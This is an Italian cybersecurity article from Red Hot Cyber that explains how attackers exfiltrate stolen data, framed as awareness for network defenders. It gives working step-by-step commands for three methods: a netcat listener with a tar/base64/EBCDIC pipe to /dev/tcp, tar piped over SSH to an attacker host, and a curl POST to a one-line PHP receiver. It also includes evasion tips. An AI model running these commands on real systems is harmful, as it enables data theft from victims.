Red Hot Cyber

Sicurezza informatica, cybercrime, hack
news, e altro ancora

Data Breach e data Exfiltration vista da vicino

Abbiamo più volte parlato di Data Breach con Red Hot Cyber , grosse mole di dati esfiltrati da banche dati e rivenduti sul darkweb. Ma come avvengono tecnicamente queste transizioni?

In teoria una volta che il cyber criminale è stato in grado di mettere mano sulle informazioni sensibili attraverso uno sfruttamento di una Backdoor o di una sessione persistente APT (Advanced Session Threat), avrà necessità di spostare questi dati al di fuori dell’infrastruttura in modo sicuro e il più inosservato possibile all’interno di sistemi gestiti dall’organizzazione criminale.

La fantasia in questi scenari non tarda ad arrivare.

Con questo articolo si cerca di mostrare come avvengono le esfiltrazioni in modo da sensibilizzare i tecnici ponendo l’ attenzione su alcune configurazioni di policy di networking che non dovrebbero essere tralasciate.

Socket Exfiltration 

Uno dei metodi più comuni da attuare è quello che prevede la creazione di un socket TCP locale sul sistema vittima che punta alla macchina dell’attaccante, dualmente su quest’ultima potrebbe essere configurato un Listner con Netcat che si mette in ascolto per la ricezione dei dati.

In genere gli aggressori per evitare il monitoraggio on-the-wire effettuano compressioni e codifiche dei dati in Base64 ed EBCDIC (Extended Binary Codec Decimal Interchange Code) e solo dopo queste prime procedure avviano il vero trasferimento dei dati verso il proprio sistema ove verranno poi decodificati.

Vediamo alcuni comandi che potrebbe utilizzare un malintenzionato nell’attività di data exfiltration:

Step 1

L’aggressore sul suo sistema, per prima cosa configura un listner con Netcat sulla porta TCP/80 per ricevere i dati in entrata reindirizzando l’output ad un file “data.tmp”

Il comando è:

nc –nlvpc 80 > data.tmp

Step 2

Sul sistema vittima (si sottointende che sia già violato)  potrebbe avere senso una compressione della cartella da esfiltrare sull’output standard (stdout) (-) codificando il tutto con  Base64 e EBCID, reindirizzando subito dopo i dati sul proprio socket TCP locale della sua macchina. Nell’esempio che ho fatto data.tmp è la cartella contenente i dati da esfiltrare. Il comando completo potrebbe essere questo:

tar zfc - /tmp/datafolder | base64 | dd conv=ebcdic > /dev/tcp/<indirizzoIP_attaccante>/80

Step 3

Sulla macchina attaccante l’aggressore decodifica il file data.tmp sull’output data.tar

dd  conv=ascii if=data.tmp |base64 –d > data.tar

Step 4

L’aggressore estrae l’archivio data.tar sul proprio sistema avendo disponibilità dei dati in chiaro.

SSH Exfiltration

Un altro metodo un po’ più semplice e altrettanto comune è quello di non codificare i dati in transito nella rete ma cifrarli utilizzando il protocollo SSH. Il metodo con cifratura potrebbe avere migliori probabilità di eludere qualsiasi sistema di monitoraggio nella rete da parte degli IPS e IDS.

Step 1:

Sul sistema vittima , l’aggressore esegue il comando:

tar zfc - /tmp/data | ssh root@<indirizzoIP_attaccante> “cd /tmp;  tar zxpf  –“

Step 2

Sul sistema attaccante i dati sono già decompressi nella cartella tmp/data e potrà visualizzarli direttamente.

Per una maggiore “furtività”, potrebbe configurare un suo server SSH sulla porta 80 e non sulla porta 22 utilizzata comunemente da SSH.

Https Exfiltration

Il terzo metodo ha un paio di prerequisiti ma è un altro ottimo modo per trasferire dati su protocolli cifrati, in questo caso Https con certificati SSL.

Per svolgere questo tipo di esfiltrazione l’aggressore deve disporre necessariamente un web server con PHP e un certificato SSL installato.

Step 1

Sul sistema attaccante, l’aggressore potrebbe creare un file PHP che scriverà i dati ricevuti come POST request   all’interno di un file chiamato  /tmp/datafolder.base64 , per distinguerlo chiamerò questo file “contact.php”. Per una maggiore furtività il codice contenuto del file potrebbe essere inserito in single line (in una riga).

Contact.php

<?php file_put_contents(‘/tmp/data.base64’, file_get_contents(‘php://input’)); ?>

Step 2

Sul sistema vittima l’aggressore invierà il comando curl con una richiesta POST costituita dai dati compressi e codificati in tar e Base64 dalla directory /tmp/data della vittima, che si tradurrà in una richiesta POST al file contact.php sul web server da lui gestito che svolgerà la funzione di scrivere una copia dell’archivio. Il comando potrebbe essere questo:

curl  --data “$(tar zcf - /tmp/data | base64)” https://<indirizzoIP_attaccante>/contact.php

Step 3

La macchina dell’attaccante dopo aver ricevuto i dati via POST li ha scritti nel file /tmp/data.base64 reindirizzando l’output ad un archivio data.tar

cat  /tmp/data.base64 | base64 –d > data.tar && tar xf data.tar

Questi sono solo alcuni esempi di tecniche exfiltration ma considerando che ormai l’avvento dei ransomware ha reso il tutto più dinamico, molti di questi comandi insieme ad altri vengono introdotti e integrati all’interno del codice sorgente dei malware. Un buon sistema di monitoraggio abbinato ad un adeguato grado di sicurezza dei sistemi potrebbe bloccare un eventuale data breach, e con  “buon sistema di monitoraggio” intendo in questo caso che non bisogna tralasciare nessun protocollo, ignorare il monitoraggio sui protocolli di rete che svolgono determinate funzioni considerate “sicure” come per esempio il “DNS” non è una buona pratica e vanno assolutamente monitorati e attuate policy adeguate che non ritengo opportuno elencare in questo articolo. Su questo argomento comunque ci ritorneremo con Hackerhood, per gli scettici vedremo un tutorial completo di come avviene una creazione di un server per  un’esfiltrazione via DNS e una triangolazione verso il sistema attaccante.